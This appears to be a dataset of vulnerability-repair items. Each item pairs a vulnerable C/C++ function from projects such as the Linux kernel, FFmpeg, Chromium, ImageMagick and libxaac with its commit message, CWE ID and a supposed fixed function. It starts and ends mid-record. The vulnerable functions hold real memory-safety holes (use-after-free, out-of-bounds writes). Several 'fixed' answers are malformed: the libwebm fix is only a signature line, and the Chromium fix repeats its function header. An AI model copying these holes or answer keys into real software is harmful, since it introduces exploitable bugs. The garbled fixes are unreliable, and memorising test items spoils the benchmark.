t->u.kernel.target = target;
off += xt_compat_target_offset(target);
*size += off;
ret = xt_compat_add_offset(AF_INET6, entry_offset, off);
if (ret)
goto out;
/* Check hooks & underflows */
for (h = 0; h < NF_INET_NUMHOOKS; h++) {
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h])
newinfo->underflow[h] = underflows[h];
}
/* Clear counters and comefrom */
memset(&e->counters, 0, sizeof(e->counters));
e->comefrom = 0;
return 0;
out:
module_put(t->u.kernel.target->me);
release_matches:
xt_ematch_foreach(ematch, e) {
if (j-- == 0)
break;
module_put(ematch->u.kernel.match->me);
}
return ret;
}
| 167,219 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: int blk_init_allocated_queue(struct request_queue *q)
{
WARN_ON_ONCE(q->mq_ops);
q->fq = blk_alloc_flush_queue(q, NUMA_NO_NODE, q->cmd_size);
if (!q->fq)
return -ENOMEM;
if (q->init_rq_fn && q->init_rq_fn(q, q->fq->flush_rq, GFP_KERNEL))
goto out_free_flush_queue;
if (blk_init_rl(&q->root_rl, q, GFP_KERNEL))
goto out_exit_flush_rq;
INIT_WORK(&q->timeout_work, blk_timeout_work);
q->queue_flags |= QUEUE_FLAG_DEFAULT;
/*
* This also sets hw/phys segments, boundary and size
*/
blk_queue_make_request(q, blk_queue_bio);
q->sg_reserved_size = INT_MAX;
if (elevator_init(q))
goto out_exit_flush_rq;
return 0;
out_exit_flush_rq:
if (q->exit_rq_fn)
q->exit_rq_fn(q, q->fq->flush_rq);
out_free_flush_queue:
blk_free_flush_queue(q->fq);
return -ENOMEM;
}
Commit Message: block: blk_init_allocated_queue() set q->fq as NULL in the fail case
We find the memory use-after-free issue in __blk_drain_queue()
on the kernel 4.14. After read the latest kernel 4.18-rc6 we
think it has the same problem.
Memory is allocated for q->fq in the blk_init_allocated_queue().
If the elevator init function called with error return, it will
run into the fail case to free the q->fq.
Then the __blk_drain_queue() uses the same memory after the free
of the q->fq, it will lead to the unpredictable event.
The patch is to set q->fq as NULL in the fail case of
blk_init_allocated_queue().
Fixes: commit 7c94e1c157a2 ("block: introduce blk_flush_queue to drive flush machinery")
Cc: <[email protected]>
Reviewed-by: Ming Lei <[email protected]>
Reviewed-by: Bart Van Assche <[email protected]>
Signed-off-by: xiao jin <[email protected]>
Signed-off-by: Jens Axboe <[email protected]>
CWE ID: CWE-416 | int blk_init_allocated_queue(struct request_queue *q)
{
WARN_ON_ONCE(q->mq_ops);
q->fq = blk_alloc_flush_queue(q, NUMA_NO_NODE, q->cmd_size);
if (!q->fq)
return -ENOMEM;
if (q->init_rq_fn && q->init_rq_fn(q, q->fq->flush_rq, GFP_KERNEL))
goto out_free_flush_queue;
if (blk_init_rl(&q->root_rl, q, GFP_KERNEL))
goto out_exit_flush_rq;
INIT_WORK(&q->timeout_work, blk_timeout_work);
q->queue_flags |= QUEUE_FLAG_DEFAULT;
/*
* This also sets hw/phys segments, boundary and size
*/
blk_queue_make_request(q, blk_queue_bio);
q->sg_reserved_size = INT_MAX;
if (elevator_init(q))
goto out_exit_flush_rq;
return 0;
out_exit_flush_rq:
if (q->exit_rq_fn)
q->exit_rq_fn(q, q->fq->flush_rq);
out_free_flush_queue:
blk_free_flush_queue(q->fq);
q->fq = NULL;
return -ENOMEM;
}
| 169,762 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int http_connect(URLContext *h, const char *path, const char *local_path,
const char *hoststr, const char *auth,
const char *proxyauth, int *new_location)
{
HTTPContext *s = h->priv_data;
int post, err;
char headers[HTTP_HEADERS_SIZE] = "";
char *authstr = NULL, *proxyauthstr = NULL;
int64_t off = s->off;
int len = 0;
const char *method;
int send_expect_100 = 0;
/* send http header */
post = h->flags & AVIO_FLAG_WRITE;
if (s->post_data) {
/* force POST method and disable chunked encoding when
* custom HTTP post data is set */
post = 1;
s->chunked_post = 0;
}
if (s->method)
method = s->method;
else
method = post ? "POST" : "GET";
authstr = ff_http_auth_create_response(&s->auth_state, auth,
local_path, method);
proxyauthstr = ff_http_auth_create_response(&s->proxy_auth_state, proxyauth,
local_path, method);
if (post && !s->post_data) {
send_expect_100 = s->send_expect_100;
/* The user has supplied authentication but we don't know the auth type,
* send Expect: 100-continue to get the 401 response including the
* WWW-Authenticate header, or an 100 continue if no auth actually
* is needed. */
if (auth && *auth &&
s->auth_state.auth_type == HTTP_AUTH_NONE &&
s->http_code != 401)
send_expect_100 = 1;
}
#if FF_API_HTTP_USER_AGENT
if (strcmp(s->user_agent_deprecated, DEFAULT_USER_AGENT)) {
av_log(s, AV_LOG_WARNING, "the user-agent option is deprecated, please use user_agent option\n");
s->user_agent = av_strdup(s->user_agent_deprecated);
}
#endif
/* set default headers if needed */
if (!has_header(s->headers, "\r\nUser-Agent: "))
len += av_strlcatf(headers + len, sizeof(headers) - len,
"User-Agent: %s\r\n", s->user_agent);
if (!has_header(s->headers, "\r\nAccept: "))
len += av_strlcpy(headers + len, "Accept: */*\r\n",
sizeof(headers) - len);
if (!has_header(s->headers, "\r\nRange: ") && !post && (s->off > 0 || s->end_off || s->seekable == -1)) {
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Range: bytes=%"PRId64"-", s->off);
if (s->end_off)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"%"PRId64, s->end_off - 1);
len += av_strlcpy(headers + len, "\r\n",
sizeof(headers) - len);
}
if (send_expect_100 && !has_header(s->headers, "\r\nExpect: "))
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Expect: 100-continue\r\n");
if (!has_header(s->headers, "\r\nConnection: ")) {
if (s->multiple_requests)
len += av_strlcpy(headers + len, "Connection: keep-alive\r\n",
sizeof(headers) - len);
else
len += av_strlcpy(headers + len, "Connection: close\r\n",
sizeof(headers) - len);
}
if (!has_header(s->headers, "\r\nHost: "))
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Host: %s\r\n", hoststr);
if (!has_header(s->headers, "\r\nContent-Length: ") && s->post_data)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Content-Length: %d\r\n", s->post_datalen);
if (!has_header(s->headers, "\r\nContent-Type: ") && s->content_type)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Content-Type: %s\r\n", s->content_type);
if (!has_header(s->headers, "\r\nCookie: ") && s->cookies) {
char *cookies = NULL;
if (!get_cookies(s, &cookies, path, hoststr) && cookies) {
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Cookie: %s\r\n", cookies);
av_free(cookies);
}
}
if (!has_header(s->headers, "\r\nIcy-MetaData: ") && s->icy)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Icy-MetaData: %d\r\n", 1);
/* now add in custom headers */
if (s->headers)
av_strlcpy(headers + len, s->headers, sizeof(headers) - len);
snprintf(s->buffer, sizeof(s->buffer),
"%s %s HTTP/1.1\r\n"
"%s"
"%s"
"%s"
"%s%s"
"\r\n",
method,
path,
post && s->chunked_post ? "Transfer-Encoding: chunked\r\n" : "",
headers,
authstr ? authstr : "",
proxyauthstr ? "Proxy-" : "", proxyauthstr ? proxyauthstr : "");
av_log(h, AV_LOG_DEBUG, "request: %s\n", s->buffer);
if ((err = ffurl_write(s->hd, s->buffer, strlen(s->buffer))) < 0)
goto done;
if (s->post_data)
if ((err = ffurl_write(s->hd, s->post_data, s->post_datalen)) < 0)
goto done;
/* init input buffer */
s->buf_ptr = s->buffer;
s->buf_end = s->buffer;
s->line_count = 0;
s->off = 0;
s->icy_data_read = 0;
s->filesize = -1;
s->willclose = 0;
s->end_chunked_post = 0;
s->end_header = 0;
if (post && !s->post_data && !send_expect_100) {
/* Pretend that it did work. We didn't read any header yet, since
* we've still to send the POST data, but the code calling this
* function will check http_code after we return. */
s->http_code = 200;
err = 0;
goto done;
}
/* wait for header */
err = http_read_header(h, new_location);
if (err < 0)
goto done;
if (*new_location)
s->off = off;
err = (off == s->off) ? 0 : -1;
done:
av_freep(&authstr);
av_freep(&proxyauthstr);
return err;
}
Commit Message: http: make length/offset-related variables unsigned.
Fixes #5992, reported and found by Paul Cher <[email protected]>.
CWE ID: CWE-119 | static int http_connect(URLContext *h, const char *path, const char *local_path,
const char *hoststr, const char *auth,
const char *proxyauth, int *new_location)
{
HTTPContext *s = h->priv_data;
int post, err;
char headers[HTTP_HEADERS_SIZE] = "";
char *authstr = NULL, *proxyauthstr = NULL;
uint64_t off = s->off;
int len = 0;
const char *method;
int send_expect_100 = 0;
/* send http header */
post = h->flags & AVIO_FLAG_WRITE;
if (s->post_data) {
/* force POST method and disable chunked encoding when
* custom HTTP post data is set */
post = 1;
s->chunked_post = 0;
}
if (s->method)
method = s->method;
else
method = post ? "POST" : "GET";
authstr = ff_http_auth_create_response(&s->auth_state, auth,
local_path, method);
proxyauthstr = ff_http_auth_create_response(&s->proxy_auth_state, proxyauth,
local_path, method);
if (post && !s->post_data) {
send_expect_100 = s->send_expect_100;
/* The user has supplied authentication but we don't know the auth type,
* send Expect: 100-continue to get the 401 response including the
* WWW-Authenticate header, or an 100 continue if no auth actually
* is needed. */
if (auth && *auth &&
s->auth_state.auth_type == HTTP_AUTH_NONE &&
s->http_code != 401)
send_expect_100 = 1;
}
#if FF_API_HTTP_USER_AGENT
if (strcmp(s->user_agent_deprecated, DEFAULT_USER_AGENT)) {
av_log(s, AV_LOG_WARNING, "the user-agent option is deprecated, please use user_agent option\n");
s->user_agent = av_strdup(s->user_agent_deprecated);
}
#endif
/* set default headers if needed */
if (!has_header(s->headers, "\r\nUser-Agent: "))
len += av_strlcatf(headers + len, sizeof(headers) - len,
"User-Agent: %s\r\n", s->user_agent);
if (!has_header(s->headers, "\r\nAccept: "))
len += av_strlcpy(headers + len, "Accept: */*\r\n",
sizeof(headers) - len);
if (!has_header(s->headers, "\r\nRange: ") && !post && (s->off > 0 || s->end_off || s->seekable == -1)) {
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Range: bytes=%"PRIu64"-", s->off);
if (s->end_off)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"%"PRId64, s->end_off - 1);
len += av_strlcpy(headers + len, "\r\n",
sizeof(headers) - len);
}
if (send_expect_100 && !has_header(s->headers, "\r\nExpect: "))
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Expect: 100-continue\r\n");
if (!has_header(s->headers, "\r\nConnection: ")) {
if (s->multiple_requests)
len += av_strlcpy(headers + len, "Connection: keep-alive\r\n",
sizeof(headers) - len);
else
len += av_strlcpy(headers + len, "Connection: close\r\n",
sizeof(headers) - len);
}
if (!has_header(s->headers, "\r\nHost: "))
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Host: %s\r\n", hoststr);
if (!has_header(s->headers, "\r\nContent-Length: ") && s->post_data)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Content-Length: %d\r\n", s->post_datalen);
if (!has_header(s->headers, "\r\nContent-Type: ") && s->content_type)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Content-Type: %s\r\n", s->content_type);
if (!has_header(s->headers, "\r\nCookie: ") && s->cookies) {
char *cookies = NULL;
if (!get_cookies(s, &cookies, path, hoststr) && cookies) {
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Cookie: %s\r\n", cookies);
av_free(cookies);
}
}
if (!has_header(s->headers, "\r\nIcy-MetaData: ") && s->icy)
len += av_strlcatf(headers + len, sizeof(headers) - len,
"Icy-MetaData: %d\r\n", 1);
/* now add in custom headers */
if (s->headers)
av_strlcpy(headers + len, s->headers, sizeof(headers) - len);
snprintf(s->buffer, sizeof(s->buffer),
"%s %s HTTP/1.1\r\n"
"%s"
"%s"
"%s"
"%s%s"
"\r\n",
method,
path,
post && s->chunked_post ? "Transfer-Encoding: chunked\r\n" : "",
headers,
authstr ? authstr : "",
proxyauthstr ? "Proxy-" : "", proxyauthstr ? proxyauthstr : "");
av_log(h, AV_LOG_DEBUG, "request: %s\n", s->buffer);
if ((err = ffurl_write(s->hd, s->buffer, strlen(s->buffer))) < 0)
goto done;
if (s->post_data)
if ((err = ffurl_write(s->hd, s->post_data, s->post_datalen)) < 0)
goto done;
/* init input buffer */
s->buf_ptr = s->buffer;
s->buf_end = s->buffer;
s->line_count = 0;
s->off = 0;
s->icy_data_read = 0;
s->filesize = UINT64_MAX;
s->willclose = 0;
s->end_chunked_post = 0;
s->end_header = 0;
if (post && !s->post_data && !send_expect_100) {
/* Pretend that it did work. We didn't read any header yet, since
* we've still to send the POST data, but the code calling this
* function will check http_code after we return. */
s->http_code = 200;
err = 0;
goto done;
}
/* wait for header */
err = http_read_header(h, new_location);
if (err < 0)
goto done;
if (*new_location)
s->off = off;
err = (off == s->off) ? 0 : -1;
done:
av_freep(&authstr);
av_freep(&proxyauthstr);
return err;
}
| 168,497 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: const Chapters::Display* Chapters::Atom::GetDisplay(int index) const
{
if (index < 0)
return NULL;
if (index >= m_displays_count)
return NULL;
return m_displays + index;
}
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
CWE ID: CWE-119 | const Chapters::Display* Chapters::Atom::GetDisplay(int index) const
| 174,304 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: AccessControlStatus ScriptResource::CalculateAccessControlStatus() const {
if (GetCORSStatus() == CORSStatus::kServiceWorkerOpaque)
return kOpaqueResource;
if (IsSameOriginOrCORSSuccessful())
return kSharableCrossOrigin;
return kNotSharableCrossOrigin;
}
Commit Message: Check CORS using PassesAccessControlCheck() with supplied SecurityOrigin
Partial revert of https://chromium-review.googlesource.com/535694.
Bug: 799477
Change-Id: I878bb9bcb83afaafe8601293db9aa644fc5929b3
Reviewed-on: https://chromium-review.googlesource.com/898427
Commit-Queue: Hiroshige Hayashizaki <[email protected]>
Reviewed-by: Kouhei Ueno <[email protected]>
Reviewed-by: Yutaka Hirano <[email protected]>
Reviewed-by: Takeshi Yoshino <[email protected]>
Cr-Commit-Position: refs/heads/master@{#535176}
CWE ID: CWE-200 | AccessControlStatus ScriptResource::CalculateAccessControlStatus() const {
AccessControlStatus ScriptResource::CalculateAccessControlStatus(
const SecurityOrigin* security_origin) const {
if (GetResponse().WasFetchedViaServiceWorker()) {
if (GetCORSStatus() == CORSStatus::kServiceWorkerOpaque)
return kOpaqueResource;
return kSharableCrossOrigin;
}
if (security_origin && PassesAccessControlCheck(*security_origin))
return kSharableCrossOrigin;
return kNotSharableCrossOrigin;
}
| 172,889 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static MagickBooleanType SkipDXTMipmaps(Image *image,DDSInfo *dds_info,
int texel_size,ExceptionInfo *exception)
{
register ssize_t
i;
MagickOffsetType
offset;
size_t
h,
w;
/*
Only skip mipmaps for textures and cube maps
*/
if (EOFBlob(image) != MagickFalse)
{
ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
image->filename);
return(MagickFalse);
}
if (dds_info->ddscaps1 & DDSCAPS_MIPMAP
&& (dds_info->ddscaps1 & DDSCAPS_TEXTURE
|| dds_info->ddscaps2 & DDSCAPS2_CUBEMAP))
{
w = DIV2(dds_info->width);
h = DIV2(dds_info->height);
/*
Mipmapcount includes the main image, so start from one
*/
for (i = 1; (i < (ssize_t) dds_info->mipmapcount) && w && h; i++)
{
offset = (MagickOffsetType) ((w + 3) / 4) * ((h + 3) / 4) * texel_size;
(void) SeekBlob(image, offset, SEEK_CUR);
w = DIV2(w);
h = DIV2(h);
}
}
return(MagickTrue);
}
Commit Message:
CWE ID: CWE-399 | static MagickBooleanType SkipDXTMipmaps(Image *image,DDSInfo *dds_info,
int texel_size,ExceptionInfo *exception)
{
register ssize_t
i;
MagickOffsetType
offset;
size_t
h,
w;
/*
Only skip mipmaps for textures and cube maps
*/
if (EOFBlob(image) != MagickFalse)
{
ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
image->filename);
return(MagickFalse);
}
if (dds_info->ddscaps1 & DDSCAPS_MIPMAP
&& (dds_info->ddscaps1 & DDSCAPS_TEXTURE
|| dds_info->ddscaps2 & DDSCAPS2_CUBEMAP))
{
w = DIV2(dds_info->width);
h = DIV2(dds_info->height);
/*
Mipmapcount includes the main image, so start from one
*/
for (i = 1; (i < (ssize_t) dds_info->mipmapcount) && w && h; i++)
{
offset = (MagickOffsetType) ((w + 3) / 4) * ((h + 3) / 4) * texel_size;
if (SeekBlob(image,offset,SEEK_CUR) < 0)
break;
w = DIV2(w);
h = DIV2(h);
}
}
return(MagickTrue);
}
| 168,853 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void PlatformSensorProviderAndroid::CreateSensorInternal(
mojom::SensorType type,
mojo::ScopedSharedBufferMapping mapping,
const CreateSensorCallback& callback) {
JNIEnv* env = AttachCurrentThread();
switch (type) {
case mojom::SensorType::ABSOLUTE_ORIENTATION_EULER_ANGLES:
CreateAbsoluteOrientationEulerAnglesSensor(env, std::move(mapping),
callback);
break;
case mojom::SensorType::ABSOLUTE_ORIENTATION_QUATERNION:
CreateAbsoluteOrientationQuaternionSensor(env, std::move(mapping),
callback);
break;
case mojom::SensorType::RELATIVE_ORIENTATION_EULER_ANGLES:
CreateRelativeOrientationEulerAnglesSensor(env, std::move(mapping),
callback);
break;
default: {
ScopedJavaLocalRef<jobject> sensor =
Java_PlatformSensorProvider_createSensor(env, j_object_,
static_cast<jint>(type));
if (!sensor.obj()) {
callback.Run(nullptr);
return;
}
auto concrete_sensor = base::MakeRefCounted<PlatformSensorAndroid>(
type, std::move(mapping), this, sensor);
callback.Run(concrete_sensor);
break;
}
}
}
Commit Message: android: Fix sensors in device service.
This patch fixes a bug that prevented more than one sensor data
to be available at once when using the device motion/orientation
API.
The issue was introduced by this other patch [1] which fixed
some security-related issues in the way shared memory region
handles are managed throughout Chromium (more details at
https://crbug.com/789959).
The device service´s sensor implementation doesn´t work
correctly because it assumes it is possible to create a
writable mapping of a given shared memory region at any
time. This assumption is not correct on Android, once an
Ashmem region has been turned read-only, such mappings
are no longer possible.
To fix the implementation, this CL changes the following:
- PlatformSensor used to require moving a
mojo::ScopedSharedBufferMapping into the newly-created
instance. Said mapping being owned by and destroyed
with the PlatformSensor instance.
With this patch, the constructor instead takes a single
pointer to the corresponding SensorReadingSharedBuffer,
i.e. the area in memory where the sensor-specific
reading data is located, and can be either updated
or read-from.
Note that the PlatformSensor does not own the mapping
anymore.
- PlatformSensorProviderBase holds the *single* writable
mapping that is used to store all SensorReadingSharedBuffer
buffers. It is created just after the region itself,
and thus can be used even after the region's access
mode has been changed to read-only.
Addresses within the mapping will be passed to
PlatformSensor constructors, computed from the
mapping's base address plus a sensor-specific
offset.
The mapping is now owned by the
PlatformSensorProviderBase instance.
Note that, security-wise, nothing changes, because all
mojo::ScopedSharedBufferMapping before the patch actually
pointed to the same writable-page in memory anyway.
Since unit or integration tests didn't catch the regression
when [1] was submitted, this patch was tested manually by
running a newly-built Chrome apk in the Android emulator
and on a real device running Android O.
[1] https://chromium-review.googlesource.com/c/chromium/src/+/805238
BUG=805146
[email protected],[email protected],[email protected],[email protected]
Change-Id: I7d60a1cad278f48c361d2ece5a90de10eb082b44
Reviewed-on: https://chromium-review.googlesource.com/891180
Commit-Queue: David Turner <[email protected]>
Reviewed-by: Reilly Grant <[email protected]>
Reviewed-by: Matthew Cary <[email protected]>
Reviewed-by: Alexandr Ilin <[email protected]>
Cr-Commit-Position: refs/heads/master@{#532607}
CWE ID: CWE-732 | void PlatformSensorProviderAndroid::CreateSensorInternal(
mojom::SensorType type,
SensorReadingSharedBuffer* reading_buffer,
const CreateSensorCallback& callback) {
JNIEnv* env = AttachCurrentThread();
switch (type) {
case mojom::SensorType::ABSOLUTE_ORIENTATION_EULER_ANGLES:
CreateAbsoluteOrientationEulerAnglesSensor(env, reading_buffer, callback);
break;
case mojom::SensorType::ABSOLUTE_ORIENTATION_QUATERNION:
CreateAbsoluteOrientationQuaternionSensor(env, reading_buffer, callback);
break;
case mojom::SensorType::RELATIVE_ORIENTATION_EULER_ANGLES:
CreateRelativeOrientationEulerAnglesSensor(env, reading_buffer, callback);
break;
default: {
ScopedJavaLocalRef<jobject> sensor =
Java_PlatformSensorProvider_createSensor(env, j_object_,
static_cast<jint>(type));
if (!sensor.obj()) {
callback.Run(nullptr);
return;
}
auto concrete_sensor = base::MakeRefCounted<PlatformSensorAndroid>(
type, reading_buffer, this, sensor);
callback.Run(concrete_sensor);
break;
}
}
}
| 172,837 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: WORD32 ixheaacd_real_synth_filt(ia_esbr_hbe_txposer_struct *ptr_hbe_txposer,
WORD32 num_columns, FLOAT32 qmf_buf_real[][64],
FLOAT32 qmf_buf_imag[][64]) {
WORD32 i, j, k, l, idx;
FLOAT32 g[640];
FLOAT32 w[640];
FLOAT32 synth_out[128];
FLOAT32 accu_r;
WORD32 synth_size = ptr_hbe_txposer->synth_size;
FLOAT32 *ptr_cos_tab_trans_qmf =
(FLOAT32 *)&ixheaacd_cos_table_trans_qmf[0][0] +
ptr_hbe_txposer->k_start * 32;
FLOAT32 *buffer = ptr_hbe_txposer->synth_buf;
for (idx = 0; idx < num_columns; idx++) {
FLOAT32 loc_qmf_buf[64];
FLOAT32 *synth_buf_r = loc_qmf_buf;
FLOAT32 *out_buf = ptr_hbe_txposer->ptr_input_buf +
(idx + 1) * ptr_hbe_txposer->synth_size;
FLOAT32 *synth_cos_tab = ptr_hbe_txposer->synth_cos_tab;
const FLOAT32 *interp_window_coeff = ptr_hbe_txposer->synth_wind_coeff;
if (ptr_hbe_txposer->k_start < 0) return -1;
for (k = 0; k < synth_size; k++) {
WORD32 ki = ptr_hbe_txposer->k_start + k;
synth_buf_r[k] = (FLOAT32)(
ptr_cos_tab_trans_qmf[(k << 1) + 0] * qmf_buf_real[idx][ki] +
ptr_cos_tab_trans_qmf[(k << 1) + 1] * qmf_buf_imag[idx][ki]);
synth_buf_r[k + ptr_hbe_txposer->synth_size] = 0;
}
for (l = (20 * synth_size - 1); l >= 2 * synth_size; l--) {
buffer[l] = buffer[l - 2 * synth_size];
}
if (synth_size == 20) {
FLOAT32 *psynth_cos_tab = synth_cos_tab;
for (l = 0; l < (synth_size + 1); l++) {
accu_r = 0.0;
for (k = 0; k < synth_size; k++) {
accu_r += synth_buf_r[k] * psynth_cos_tab[k];
}
buffer[0 + l] = accu_r;
buffer[synth_size - l] = accu_r;
psynth_cos_tab = psynth_cos_tab + synth_size;
}
for (l = (synth_size + 1); l < (2 * synth_size - synth_size / 2); l++) {
accu_r = 0.0;
for (k = 0; k < synth_size; k++) {
accu_r += synth_buf_r[k] * psynth_cos_tab[k];
}
buffer[0 + l] = accu_r;
buffer[3 * synth_size - l] = -accu_r;
psynth_cos_tab = psynth_cos_tab + synth_size;
}
accu_r = 0.0;
for (k = 0; k < synth_size; k++) {
accu_r += synth_buf_r[k] * psynth_cos_tab[k];
}
buffer[3 * synth_size >> 1] = accu_r;
} else {
FLOAT32 tmp;
FLOAT32 *ptr_u = synth_out;
WORD32 kmax = (synth_size >> 1);
FLOAT32 *syn_buf = &buffer[kmax];
kmax += synth_size;
if (ixheaacd_real_synth_fft != NULL)
(*ixheaacd_real_synth_fft)(synth_buf_r, synth_out, synth_size * 2);
else
return -1;
for (k = 0; k < kmax; k++) {
tmp = ((*ptr_u++) * (*synth_cos_tab++));
tmp -= ((*ptr_u++) * (*synth_cos_tab++));
*syn_buf++ = tmp;
}
syn_buf = &buffer[0];
kmax -= synth_size;
for (k = 0; k < kmax; k++) {
tmp = ((*ptr_u++) * (*synth_cos_tab++));
tmp -= ((*ptr_u++) * (*synth_cos_tab++));
*syn_buf++ = tmp;
}
}
for (i = 0; i < 5; i++) {
memcpy(&g[(2 * i + 0) * synth_size], &buffer[(4 * i + 0) * synth_size],
sizeof(FLOAT32) * synth_size);
memcpy(&g[(2 * i + 1) * synth_size], &buffer[(4 * i + 3) * synth_size],
sizeof(FLOAT32) * synth_size);
}
for (k = 0; k < 10 * synth_size; k++) {
w[k] = g[k] * interp_window_coeff[k];
}
for (i = 0; i < synth_size; i++) {
accu_r = 0.0;
for (j = 0; j < 10; j++) {
accu_r = accu_r + w[synth_size * j + i];
}
out_buf[i] = (FLOAT32)accu_r;
}
}
return 0;
}
Commit Message: Fix for stack corruption in esbr
Bug: 110769924
Test: poc from bug before/after
Change-Id: I99c6e89902064849ea1310c271064bdeccf7f20e
(cherry picked from commit 7e90d745c22695236437297cd8167a9312427a4a)
(cherry picked from commit 5464927f0c1fc721fa03d1c5be77b0b43dfffc50)
CWE ID: CWE-787 | WORD32 ixheaacd_real_synth_filt(ia_esbr_hbe_txposer_struct *ptr_hbe_txposer,
WORD32 num_columns, FLOAT32 qmf_buf_real[][64],
FLOAT32 qmf_buf_imag[][64]) {
WORD32 i, j, k, l, idx;
FLOAT32 g[640];
FLOAT32 w[640];
FLOAT32 synth_out[128];
FLOAT32 accu_r;
WORD32 synth_size = ptr_hbe_txposer->synth_size;
FLOAT32 *ptr_cos_tab_trans_qmf =
(FLOAT32 *)&ixheaacd_cos_table_trans_qmf[0][0] +
ptr_hbe_txposer->k_start * 32;
FLOAT32 *buffer = ptr_hbe_txposer->synth_buf;
for (idx = 0; idx < num_columns; idx++) {
FLOAT32 loc_qmf_buf[64];
FLOAT32 *synth_buf_r = loc_qmf_buf;
FLOAT32 *out_buf = ptr_hbe_txposer->ptr_input_buf +
(idx + 1) * ptr_hbe_txposer->synth_size;
FLOAT32 *synth_cos_tab = ptr_hbe_txposer->synth_cos_tab;
const FLOAT32 *interp_window_coeff = ptr_hbe_txposer->synth_wind_coeff;
if (ptr_hbe_txposer->k_start < 0) return -1;
for (k = 0; k < synth_size; k++) {
WORD32 ki = ptr_hbe_txposer->k_start + k;
synth_buf_r[k] = (FLOAT32)(
ptr_cos_tab_trans_qmf[(k << 1) + 0] * qmf_buf_real[idx][ki] +
ptr_cos_tab_trans_qmf[(k << 1) + 1] * qmf_buf_imag[idx][ki]);
synth_buf_r[k + ptr_hbe_txposer->synth_size] = 0;
}
for (l = (20 * synth_size - 1); l >= 2 * synth_size; l--) {
buffer[l] = buffer[l - 2 * synth_size];
}
if (synth_size == 20) {
FLOAT32 *psynth_cos_tab = synth_cos_tab;
for (l = 0; l < (synth_size + 1); l++) {
accu_r = 0.0;
for (k = 0; k < synth_size; k++) {
accu_r += synth_buf_r[k] * psynth_cos_tab[k];
}
buffer[0 + l] = accu_r;
buffer[synth_size - l] = accu_r;
psynth_cos_tab = psynth_cos_tab + synth_size;
}
for (l = (synth_size + 1); l < (2 * synth_size - synth_size / 2); l++) {
accu_r = 0.0;
for (k = 0; k < synth_size; k++) {
accu_r += synth_buf_r[k] * psynth_cos_tab[k];
}
buffer[0 + l] = accu_r;
buffer[3 * synth_size - l] = -accu_r;
psynth_cos_tab = psynth_cos_tab + synth_size;
}
accu_r = 0.0;
for (k = 0; k < synth_size; k++) {
accu_r += synth_buf_r[k] * psynth_cos_tab[k];
}
buffer[3 * synth_size >> 1] = accu_r;
} else {
FLOAT32 tmp;
FLOAT32 *ptr_u = synth_out;
WORD32 kmax = (synth_size >> 1);
FLOAT32 *syn_buf = &buffer[kmax];
kmax += synth_size;
if (ptr_hbe_txposer->ixheaacd_real_synth_fft != NULL)
(*(ptr_hbe_txposer->ixheaacd_real_synth_fft))(synth_buf_r, synth_out,
synth_size * 2);
else
return -1;
for (k = 0; k < kmax; k++) {
tmp = ((*ptr_u++) * (*synth_cos_tab++));
tmp -= ((*ptr_u++) * (*synth_cos_tab++));
*syn_buf++ = tmp;
}
syn_buf = &buffer[0];
kmax -= synth_size;
for (k = 0; k < kmax; k++) {
tmp = ((*ptr_u++) * (*synth_cos_tab++));
tmp -= ((*ptr_u++) * (*synth_cos_tab++));
*syn_buf++ = tmp;
}
}
for (i = 0; i < 5; i++) {
memcpy(&g[(2 * i + 0) * synth_size], &buffer[(4 * i + 0) * synth_size],
sizeof(FLOAT32) * synth_size);
memcpy(&g[(2 * i + 1) * synth_size], &buffer[(4 * i + 3) * synth_size],
sizeof(FLOAT32) * synth_size);
}
for (k = 0; k < 10 * synth_size; k++) {
w[k] = g[k] * interp_window_coeff[k];
}
for (i = 0; i < synth_size; i++) {
accu_r = 0.0;
for (j = 0; j < 10; j++) {
accu_r = accu_r + w[synth_size * j + i];
}
out_buf[i] = (FLOAT32)accu_r;
}
}
return 0;
}
| 174,091 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: PageSerializer::PageSerializer(Vector<SerializedResource>* resources, LinkLocalPathMap* urls, String directory)
: m_resources(resources)
, m_URLs(urls)
, m_directory(directory)
, m_blankFrameCounter(0)
{
